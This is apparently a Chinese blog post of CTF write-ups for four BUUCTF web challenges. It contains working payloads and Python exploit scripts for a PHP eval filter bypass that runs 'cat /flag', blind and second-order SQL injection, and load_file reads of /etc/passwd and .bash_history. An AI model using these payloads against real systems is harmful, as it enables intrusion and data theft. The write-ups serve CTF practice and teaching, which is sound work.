Web-12(45-48)-BUUCTF平台

19 篇文章 1 订阅

上一篇 | 目录 | 下一篇

[CISCN 2019 初赛]Love Math

访问,得源代码:

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

分析,规则如下:

1GET一个参数c,长度不能大于80
2、c的值不能出现blacklist里的字符
3、使用的数学函数只能从whitelist里取

参考大佬博客:[CISCN 2019 初赛]Love Math

方法一
eval('echo '.$content.';');想到命令注入,构造类似system('ls')的东西,为了方便,可以使用类似$_GET['a']($_GET['b'])&a=system&b=ls的方法。

payload:
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=ls

分析:
base_convert()函数:在任意进制之间转换数字。
dechex()函数:把十进制转换为十六进制。
hex2bin()函数:把十六进制值的字符串转换为 ASCII 字符。

base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET"
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs}  //{}可以代替[]

在这里插入图片描述

另一种payload:
?c=$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
然后搞一个头信息“1:cat /flag”

分析:
getallheaders获取全部HTTP请求头信息。

base_convert(696468,10,36) => "exec"
$pi(8768397090111664438,10,30) => "getallheaders"
exec(getallheaders(){1})

在这里插入图片描述

方法二

<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
    for($i = 0;$i < 9; $i++){
        for($j = 0;$j <=9;$j++){
            $exp = $payload[$k] ^ $i.$j;
            if($exp=='_G' || $exp=='ET'){
	            echo($payload[$k]."^'$i$j'"."==>$exp");
	            echo "<br />";
	        }
        }
    }
}
?>

在这里插入图片描述

payload:
?c=$pi=(is_finite^(6).(4)).(rad2deg^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /flag

分析:
这里由于单引号(')被过滤,所以使用点号(.)来连接
is_finite^(6).(4)='_G'
rad2deg^(1).(5)='ET'
$pi{0}($pi{1})=$_GET{0}($_GET{1})

在这里插入图片描述





[Black Watch 入群题]Web

在Network处可以查看到一个疑似sql注入的网址:
在这里插入图片描述
尝试后发现if、ascii、substr没被过滤,可以布尔盲注。空格被过滤了用括号代替。
直接放python脚本:

import requests

url = 'http://c1d20405-bb2c-4c4d-9eb2-1695e618b54d.node3.buuoj.cn/backend/content_detail.php?id=1'
res = ''

'''
#数据库名
for i in range(0,40):
	print('i = '+str(i))
	for j in range(32,127):
		payload = "^if(ascii(substr(database(),{},1))={},3,0)".format(str(i),str(j))
		txt = requests.get(url+payload)
		if '0xpoker' in txt.text:
			res += chr(j)
			print('j =',j,'\tres =',res)

#结果:database()=news
'''

'''
#表名
for i in range(0,40):
	print('i = '+str(i))
	for j in range(32,127):
		payload = "^if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))={},3,0)".format(str(i),str(j))
		txt = requests.get(url+payload)
		if '0xpoker' in txt.text:
			res += chr(j)
			print('j =',j,'\tres =',res)

#结果:table_name=admin,content
'''

'''
#列名
for i in range(0,40):
	print('i = '+str(i))
	for j in range(32,127):
		payload = "^if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x61646d696e)),{},1))={},3,0)".format(str(i),str(j))
		txt = requests.get(url+payload)
		if '0xpoker' in txt.text:
			res += chr(j)
			print('j =',j,'\tres =',res)

#结果:column_name=id,username,password,is_enable
'''

#字段值
for i in range(0,40):
	print('i = '+str(i))
	for j in range(32,127):
		payload = "^if(ascii(substr((select(group_concat(is_enable))from(admin)),{},1))={},3,0)".format(str(i),str(j))
		txt = requests.get(url+payload)
		if '0xpoker' in txt.text:
			res += chr(j)
			print('j =',j,'\tres =',res)
#结果:id:1,2
#结果:username:d9ca673c,451fe314
#结果:password:36eb03b9,c5d884a5
#结果:is_enable:0,1

使用username=451fe314、password=c5d884a5进行登录,成功拿到flag。
在这里插入图片描述




[网鼎杯2018]Unfinish

首页就是登录,猜测有个register.php。当然扫描就能得到。
在这里插入图片描述

随便注册一个账号,然后进行登录。
在这里插入图片描述

登录后发现注册的用户名显示出来了。猜测此处可能存在二次注入
在这里插入图片描述

回到注册解密,发现在用户名处填入 , 会显示 nnnnoooo!!!,说明存在过滤。
FUZZ测试一下,发现被过滤的有:

tab(%09)、逗号(,)、information、%0a、%a0

在这里插入图片描述
从单引号的长度发现和其他的不一样,测试一下,发现并不是被过滤,而是单引号会引起sql语句报错,导入注册不成功。
尝试注册1' and '0,发现确实可以注册成功,用户名显示为0

# 使用 + 运算符
select '0'+'123a';  #结果为123
# 尝试获取数据库名的第一个字符
select '0'+ascii(substr(database(),1,1))+'0';
# 不过逗号被过滤,可使用 from for 代替
select '0'+ascii(substr(database() from 1 for 1))+'0';

进行测试,注册一个 0'+ascii(substr(database() from 1 for 1))+'0用户,得到119,ascii码值为w
在这里插入图片描述
说明思路正确,不过由于 information 表被过滤,直接猜测存在一个 flag 表,写exp得到flag:

import requests
import re
import time

def main():
	flag = ''
	url = 'http://d13edc9f-d5fa-4cf4-bd5c-002272cc9e73.node4.buuoj.cn/'
	url_register = url + 'register.php'
	url_login = url + 'login.php'
	for i in range(100):
		email = "air{}@air.com".format(i)
		payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i)
		data_register = {"email" : email, "username" : payload, "password" : "air"}
		data_login = {"email" : email, "password" : "air"}
		requests.post(url_register, data=data_register)
		rl = requests.post(url_login, data=data_login)
		res = re.findall(r'<span class="user-name">\s*(\d+)\s*</span>',rl.text)
		flag = flag+chr(int(res[0]))
		print(flag)
		# 速度太快,网站会崩
		time.sleep(2)

if __name__ == '__main__':
	main()




[网鼎杯 2018]Comment

发帖提示要登录,由 zhangwei*** 猜测弱口令,爆破得到 zhangwei666
在这里插入图片描述

控制台处看到提示,猜测git泄露

在这里插入图片描述

使用 githack 工具进行提取,得到 write_do.php 内容如下:

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    break;
case 'comment':
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

使用如下内容查看所有分支的所有操作记录,包括commit和reset的操作,包括已经被删除的commit记录

git log --reflog

在这里插入图片描述

使用如下命令进行强制恢复到指定 comment_id 所指的记录。

git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c

得到恢复后的write_do.php 内容:

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

在write部分使用addslashes()函数进行了过滤

$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);

但是在comment部分对从数据库中取出的category没有过滤,这就造成了二次注入

$category = mysql_fetch_array($result)['category'];

addslashes过滤后产生的 \ 不会被写入到数据库中,即 '1 过滤后变成 \'1,到库中后仍为 '1,取出数据后进行二次拼接,就造成了二次注入。

#插入到 board 表中
$sql = "insert into board set category = '$category',
		title = '$title',
		content = '$content'";

#从 board 表中取出的 category 直接拼接到语句中插入到 comment 表中造成二次注入
$sql = "insert into comment set category = '$category',
		content = '$content',
		bo_id = '$bo_id'";

尝试构造恶意语句:

# 发帖处传入 category=',content = user(),/*
insert into board set category = '\',content = user(),/*',
			title = '1',
			content = '1';
# 此时 board 表里的 category=',content = user(),/*

# 提交留言处传入 content=*/#,回到sql语句本身,取出 category 的值进行拼接
insert into comment set category = '',content = user(),/*',
						content = '*/#',
						bo_id = '1';
# 此时二次注入成功,content的值变为了恶意构造的 user(),得到结果

在这里插入图片描述
为了方便操作,根据分析写出 exp:

import requests,re

url_base = 'http://5dda4395-a17a-411a-8dcc-75f5c7a03c8d.node4.buuoj.cn/'
session = requests.Session()
# 登录
url_login = url_base + 'login.php'
data_login = {
    'username': 'zhangwei',
    'password': 'zhangwei666'
}
session.post(url_login, data=data_login)

# 发帖
url_write = url_base + 'write_do.php?do=write'
# 这里操作时需要不断的修改 id 和 payload 的值
id = '1'
#payload = "',content=user(),/*"
#payload = "',content=database(),/*"
#payload = "',content=(select group_concat(table_name) from information_schema.tables where table_schema=database()),/*"
#payload = "',content=(select group_concat(column_name) from information_schema.columns where table_name='user'),/*"
payload = "',content=(select group_concat(id,'~',username,'~',password) from user),/*"
data_write = {
    'category': payload,
    'content': 'air',
    'title': 'air'
}
session.post(url_write, data=data_write)

# 留言
url_comment = url_base + 'write_do.php?do=comment'
data_comment = {
    'content': '*/#',
    'bo_id': id
}
session.post(url_comment, data=data_comment)

# 查看结果
url_res = url_base + 'comment.php?id=' + id
r = session.get(url_res)
match = re.findall('<div class="col-sm-5"><p>(.*?)</p></div>', r.text)
if match:
    print(match[0])

经常规操作,发现表有 board,comment,user 三张,不过没有什么重要信息。猜测 flag 不在数据库,尝试使用 load_file 加载文件查看。

修改 exp 里的 id 和 payload:

payload = "',content=(select load_file('/etc/passwd')),/*"

得到
在这里插入图片描述
查看www用户的历史操作命令

payload = "',content=(select load_file('/home/www/.bash_history')),/*"

得到

cd /tmp/
unzip html.zip
rm -f html.zip
cp -r html /var/www/
cd /var/www/html/
rm -f .DS_Store
service apache2 start

经分析,/var/www/html/下的 .DS_Store 被删除了,但是 /tmp/html 还在,读取

payload = "',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*"

获取到的是16进制值,使用 010Editor 打开查看到存在一个 flag_8946e1ff1ee3e40f.php
在这里插入图片描述
读取flag

payload = "',content=(select load_file('/var/www/html/flag_8946e1ff1ee3e40f.php')),/*"

exp:

import requests,re

url_base = 'http://32e5d91b-45e9-49a0-9726-096897de6b88.node4.buuoj.cn/'
session = requests.Session()
# 登录
url_login = url_base + 'login.php'
data_login = {
    'username': 'zhangwei',
    'password': 'zhangwei666'
}
session.post(url_login, data=data_login)

# 发帖
url_write = url_base + 'write_do.php?do=write'
id = '1'
payload = "',content=(select load_file('/var/www/html/flag_8946e1ff1ee3e40f.php')),/*"
data_write = {
    'category': payload,
    'content': 'air',
    'title': 'air'
}
session.post(url_write, data=data_write)

# 留言
url_comment = url_base + 'write_do.php?do=comment'
data_comment = {
    'content': '*/#',
    'bo_id': id
}
session.post(url_comment, data=data_comment)

# 查看结果
url_res = url_base + 'comment.php?id=' + id
r = session.get(url_res)
match = re.findall('<div class="col-sm-5"><p>(.*?)</p></div>', r.text, re.S)
if match:
    print(match[0])




========================================================
上一篇-----------------------------------目录 -----------------------------------下一篇
========================================================
转载请注明出处
本文网址:https://blog.csdn.net/hiahiachang/article/details/105672240
========================================================

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值